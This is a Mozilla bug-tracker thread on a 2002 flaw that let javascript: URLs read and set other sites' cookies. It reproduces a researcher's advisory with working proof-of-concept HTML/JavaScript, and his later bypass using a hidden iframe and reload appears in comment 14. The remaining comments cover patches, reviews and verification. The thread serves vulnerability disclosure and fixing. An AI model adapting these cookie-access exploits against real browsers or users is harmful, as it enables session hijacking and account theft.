152725 - Possible cookie stealing using javascript: URLs

Status: VERIFIED FIXED

(Core :: Networking: Cookies, defect)

Description

[Mitchell Stoltz (not reading bugmail)]

---..---..---..---..---..---..---..---..---..---..---..---..----
Title:      Mozilla 1.0 XSS - Reading/setting arbitrary cookie
Date:       [2002-06-19]
Software:   Mozilla 1.0
Impact:     At least reading/setting arbitrary cookie
Vendor:     http://www.mozilla.org                 _     _
Workaround: Disable javascript                   o' \,=./ `o
Author:     Andreas Sandblad, [e-mail]   (o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---


DESCRIPTION:
============

Mozilla allows script in the javascript protocoll to set and read cookies.
The operating host and path is determined in similiar way as for http
urls, namely as "javascript:[host][path]". Cookie security is based only
on host and path. By carefully crafting a mallicious javascript link
opened in a new window, it is possible to access and alter cookies from
other domains.


EXPLOIT:
========

Setting a host not generating any javascript errors may seem difficult but
can easily be done using some tricks. It is done by fooling Mozilla into
thinking the host is a legal variable. Using the fact that dots in
javascript represents a way to access members in objects, we can create a
complete valid host not generating any javascript errors. Setting a legal
"/" path is done by understanding that "host/ 1" is ok as long as the host
variable is an integer. The number "1" will not be included in the path
because there is a space between "/" and "1".

NOTE: Exploit is designed for default settings in Mozilla and has been
tested on win32 (3 machines) and freeBSD (1 machine). On win32 the timer
can be set to 0, but on freeBSD it has to be set to something like 50 ms.
The timer is set to 2000 ms just in case.

-------------------------- CUT HERE ----------------------------
<pre>
Title:      Mozilla 1.0 XSS Exploit
Date:       [2002-06-19]                           _     _
Impact:     Reading/setting arbitrary cookie     o' \,=./ `o
Author:     Andreas Sandblad, [e-mail]   (o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
</pre>
<a href="javascript:readCookie();">Read google cookie (must be
set)</a><br>
<a href="javascript:setCookie();">Set www.mozilla.org cookie</a>
<script>
function readCookie()
{
s = "javascript:function f(){com=1} google=new f();" +
    "location='javascript:google.com/1;" +
    "setTimeout(\"alert(document.cookie);close()\",2000);\"\"'";
    open(s);
}
function setCookie()
{
s = "javascript:function f(){org=1} function g(){mozilla=f} " +
    "www=new g();www.mozilla=new f();" +
    "location='javascript:www.mozilla.org/1;" +
    "setTimeout(\"document.cookie=\\'YOUARE=VULNERABLE;" +
    "path=/;expires=Fri, 13 Dec 2003 23:59:59 GMT;\\';" +
    "alert(\\'cookie set\\');close()\",2000);\"\"'";
    open(s);
}
</script>
-------------------------- CUT HERE ----------------------------


Disclaimer:
===========
Andreas Sandblad is not responsible for the misuse of the
information provided in this advisory. The opinions expressed
are my own and not of any company. In no event shall the author
be liable for any damages whatsoever arising out of or in
connection with the use or spread of this advisory. Any use of
the information is at the user's own risk.


Old advisories:
===============
#7 [2002-05-19] "IE dot bug"
http://online.securityfocus.com/archive/1/273168
#6 [2002-05-15] "Opera javascript protocoll vulnerability"
http://online.securityfocus.com/archive/1/272583
#5 [2002-04-26] "Mp3 file can execute code in Winamp."
http://online.securityfocus.com/archive/1/269724
#4 [2002-04-15] "Using the backbutton in IE is dangerous."
http://online.securityfocus.com/archive/1/267561


CREDITS:
========
(for helping me testing the vulnerability)

Ingesson (freeBSD), Quitta (win32), Hawkan (win32)


Feedback:
=========
Please send suggestions and comments to:           _     _
[e-mail]                              o' \,=./ `o
                                                    (o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
Andreas Sandblad,
student in Engineering Physics at Umea University, Sweden.
-/---/---/---/---/---/---/---/---/---/---/---/---/---/---/---/--

Comment 1

[Jesse Ruderman]

This is the same code-level problem as bug 90644, "ftp://foo/ and http://foo/
share cookies", but more serious.

Comment 2

[Mitchell Stoltz (not reading bugmail)]

Attachment: Preliminary patch

This patch fixes the problem, but may have some issues. The problem is that the
document URL is a javascript URL, and the URL parser is pulling a "host" out of
the javascript URL (everything between the colon and the first /) which is
wrong. What we really want in this case is not the document URL but the
document principal, which in the case of a javascript: URL page, is the
principal of the page the javascript: URL came from (the attacker's site, in
this case).

The biggest problem with this approach is that setting document.domain via the
DOM changes the document principal. In the case of setting document.domain on
the javascript: URL page itself (the second window opened by the above
example), I'm not sure what will happen. In the case of setting document.domain
on the page that calls window.open on a javascript: URL (the first page,
above), the cookie will be set to the domain assigned to document.domain. I'm
not sure if this is bad - probably not, since cookies can be set to
superdomains of the current host (right?) and that's what document.domain
allows. So a page on foo.mcom.com could set a cookie at .mcom.com, or .com if
it really wanted to.

The other potential problem is with chrome pages (such as some of the about:
pages), although I don't know why a chrome page would be setting or reading a
cookie, so that's probably OK.

Comment 3

[Mitchell Stoltz (not reading bugmail)]

I'll take this since I'm working on the fix.

Comment 4

[Mitchell Stoltz (not reading bugmail)]

Attachment: patch v2

OK this fixes both the case described and a related exploit using a META tag.
Testcases can be found (inside Netscape) at
http://warp.mcom.com/u/mstoltz/bugs/152725.html
http://warp.mcom.com/u/mstoltz/bugs/152725d.html

We may also want to add a belt-and-suspenders patch in nsCookies.cpp that
specifically prevents parsing a "host" out of a URL that doesn't really have
one, like javascript:. The best way to do that is to have COOKIE_GetCookie and
COOKIE_SetCookieString accept nsIURIs instead of strings - this is also a
performance win - but I'm a little afraid to do that on the branch. We could
hack in a check for javascript: URLs instead.

Comment 5

[Stephen P. Morse]

Comment on attachment 89489 [details] [diff] [review]
patch v2

r=morse

Comment 6

[Heikki Toivonen (remove -bugzilla when emailing directly)]

I think the XML content sink needs a similar check. Steve and Mitch, are there
other cookie security fixes that have landed into the HTML content sink but not
the XML content sink? And for the future, please keep in mind that HTML and XML
content sinks have a lot of duplicate code that needs to be kept up to date
manually (until bug 21771 gets fixed).

Comment 7

[Stephen P. Morse]

To the best of my recollection, this is the first cookie security fix that has 
landed in the HTML content sink.  Most of them have been in the cookie module 
itself.

Comment 8

[Daniel Veditz [:dveditz]]

Comment on attachment 89489 [details] [diff] [review]
patch v2

sr=dveditz for this much, but nsXMLContentSink needs equivalent code before you
check in.

Comment 9

[Mitchell Stoltz (not reading bugmail)]

Checked in (with equivalent code in XMLContentSink) on the trunk. Please verify
with the two tests in comment 4.

Comment 10

[Paul Wyskoczka]

trever, can you verify this fix on the trunk. thx.

Comment 11

[Tom Everingham]

using testcases supplied in comment #4, verified cookie is not stolen anymore
and that correct domains were being set.  Ran general regression tests.

verified trunk - 07/08/2002 builds - win NT4, Linux rh6, mac osX

will need testing on branch

Comment 12

[scottputterman]

adding adt1.0.1+.  Please get drivers approval before checking into the branch.

Comment 13

[Paul Wyskoczka]

Adding the + to the keyword

Comment 14

[Andreas Sandblad]

BYPASS FIX

It seems like your fix can be bypassed quite easily. Exploit below has been
tested to work on Mozilla build 20020708 (win32). The trick is the use of reload.

Exploit now use //host\n to get correct host.

/Andreas Sandblad

<pre>
Title:      Mozilla 1.0 Cookie Exploit (javascript: flaw)
Date:       [2002-07-09]                           _     _
Impact:     Steal/spoof arbitrary cookie         o' \,=./ `o
Author:     Andreas Sandblad, [e-mail]   (o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
</pre>

<iframe name=f height=0 width=0 style=visibility:hidden></iframe>
<script>
function init(){
  f.location = "javascript://www.google.com/\n"+
    "'<body onload=alert(document.cookie)>'";
  setTimeout('f.location.reload(false);',1000);
} window.onload=setTimeout('init()',1000);
</script>

Comment 15

[Mitchell Stoltz (not reading bugmail)]

I have confirmed that the above variation works. I was afraid of that - there
are other ways of getting a document's principal to be a javascript URL other
than the ways addressed by the above patch. Apparently, calling location.reload
makes the page's principal be the javascript: URL. This appears to be an error,
probably in the docshell code - the principal should still be the page that
originated the javascript URL - the attacker's page in this case.

So, I will do two things - ensure that reload() inherits page principals
correctly for javascript: pages, *and* do a low-level check in the cookie code
to make sure no javascript: URLs get passed in. We may even want to whitelist
the protocols that can set cookies. I thought of doing the low-level check
before, but I was afraid about regressions on the branch. Given this new
variation, I think we need to prevent any javascript URLs from reaching the
cookie code.

Comment 16

[Jaime Rodriguez, Jr.]

Removing adt1.0.1, as this bug has been reopened. Pls update the ETA. thanks!

Comment 17

[Andreas Sandblad]

It is also possible to bypass the fix using back and forward tricks in the
history list (history.back()), instead of using reload. Whitelist
the protocols that can set cookies must be the best solution (as Mitchell Stoltz
suggest).

/Andreas Sandblad

Comment 18

[Mitchell Stoltz (not reading bugmail)]

Attachment: Add'l patch - use nsIURIs all the way through

OK, I've got a possible fix for this second issue. This complements but does
not replace patch v2 above - both should go in.

This version changes the nsCookies.h API, which is AFAIK called only from
nsCookieService.cpp, to accept nsIURIs instead of URLs in char* form. Then, we
use GetHostPort() to extract the host and port instead of ExtractURLPart().
That way, the code will recognize that some URL schemes, like javascript:, have
no host, and we will not attempt to read a host from a javascript URL (or
about:, or any other nsSimpleURI). This has the advantage of avoiding a
significant bit of unnecessary work - currently, we turn nsIURIs into strings
and then parse them into component parts again. With this patch, we make use of
the URL parsing that was already done elsewhere, which should give us a
performance win on every page load.

The downside to this patch for the branch is that it may be risky. This patch
depends on the assumption that the host:port and path strings returned from
nsIURI::GetHostPort and nsIURI::GetPath are identical to those returned by
ExtractURLPart(). For the most important protocols, this is probably the case.
For some other protocols, the parsing may give slightly different results,
which may affect how cookies are stored for those protocols, but being able to
set cookies from pages loaded by obscure protocols isn't all that important
anyway.

I recommend taking this patch for the branch after a few days of trunk testing,
despite the risk. I do have a simpler, less risky patch which accomplishes the
same thing, but that one will make a bad performance situation even worse by
adding yet another round of URL parsing per page load and per cookie set.

Comment 19

[Doug Turner (:dougt)]

steve, you okay with using nsIURI's at this level?

Comment 20

[Stephen P. Morse]

Nice job of simplification.  However I too am very concerned with the risk of 
regression.

Comment 21

[Stephen P. Morse]

dougt: yes, that part I'm ok with.

Comment 22

[Stephen P. Morse]

Comment on attachment 91045 [details] [diff] [review]
Add'l patch - use nsIURIs all the way through

r=morse

Comment 23

[Mitchell Stoltz (not reading bugmail)]

Attachment: Possible alternative - safer but slower

Here's a possible alternative which also fixes the exploit, but it's much safer
- it adds an additional check when getting or setting cookies but doesn't
otherwise alter any existing code. However, this patch is much worse than the
other one, performance-wise, and will probably add to page-load times a bit.
Steve, which one do you think we should use?

Comment 24

[Stephen P. Morse]

My vote would be to go with the safer one on the branch and the more efficient 
one on the trunk.  The increase in page loading is on the order of milliseconds 
so it's not a big issue; however potentially breaking websites at this late date 
is a big issue.

Comment 25

[Stephen P. Morse]

Comment on attachment 91152 [details] [diff] [review]
Possible alternative - safer but slower

r=morse

Comment 26

[Johnny Stenback (:jst)]

Comment on attachment 91152 [details] [diff] [review]
Possible alternative - safer but slower

+  nsCOMPtr<nsIURI> uri;
+  nsresult result = ioService->NewURI(nsDependentCString(address),
+				       nsnull, nsnull, getter_AddRefs(uri));
+  if (NS_FAILED(result))
+      return nsnull;
+  nsCAutoString tempHost;
+  result = uri->GetHost(tempHost);
+  if (NS_FAILED(result))
+      return nsnull;
+

Since this new code defines a few function scope variable's that are, and
should be, used only for this new code I'd put this code (and the other new
part too) in it's own scope so that it's clear that uri and tempHost are used
only for this check. I.e. add brackets and indent this new code.

sr=jst either way tho...

Comment 27

[Daniel Veditz [:dveditz]]

Comment on attachment 91045 [details] [diff] [review]
Add'l patch - use nsIURIs all the way through

>     if (p3p) {
>-      p3p->GetConsent(curURL,aHttpChannel,&consent);
>+      nsCAutoString curURLSpec;
>+      if (NS_FAILED(curURL->GetSpec(curURLSpec)))

GetAsciiSpec() here

sr=dveditz with that change

This looks safe enough to me, but if the drivers are really paranoid about the
branch I don't think the performance hit of the other will be too bad. This one
is definitely the way to go, though, for the future.

Comment 28

[Mitchell Stoltz (not reading bugmail)]

I'll make those changes.

This has gotten confusing, so let me clarify:
For the trunk, I recommend patch v2 + add'l patch (attachments 89489 and 91045).

For the branch, I recommend "safer but slower" (attachment 91152 [details] [diff] [review]).

I need approvals for both.

Comment 29

[Asa Dotzler [:asa]]

Comment on attachment 89489 [details] [diff] [review]
patch v2

a=asa (on behalf of drivers) for checkin to the 1.1 trunk.

Comment 30

[Asa Dotzler [:asa]]

Comment on attachment 91045 [details] [diff] [review]
Add'l patch - use nsIURIs all the way through

a=asa (on behalf of drivers) for checkin to the 1.1 trunk.

Comment 31

[Mitchell Stoltz (not reading bugmail)]

OK, fixed on trunk and branch.

Comment 32

[Mitchell Stoltz (not reading bugmail)]

tever or bindu, please verify this bug on trunk and branch. Use these testcases
(Netscape internal)

http://warp.mcom.com/u/mstoltz/bugs/152725.html
http://warp.mcom.com/u/mstoltz/bugs/152725d.html
http://warp.mcom.com/u/mstoltz/bugs/152725f.html

Comment 33

[Tom Everingham]

verified with the supplied testcases on 07/23/02 builds - both trunk and branch,
winNT4, linux rh6, mac osX.

Comment 34

[Mitchell Stoltz (not reading bugmail)]

*** Bug 159152 has been marked as a duplicate of this bug. ***

Comment 35

[Mitchell Stoltz (not reading bugmail)]

Attachment: Patch for 0.9.4 branch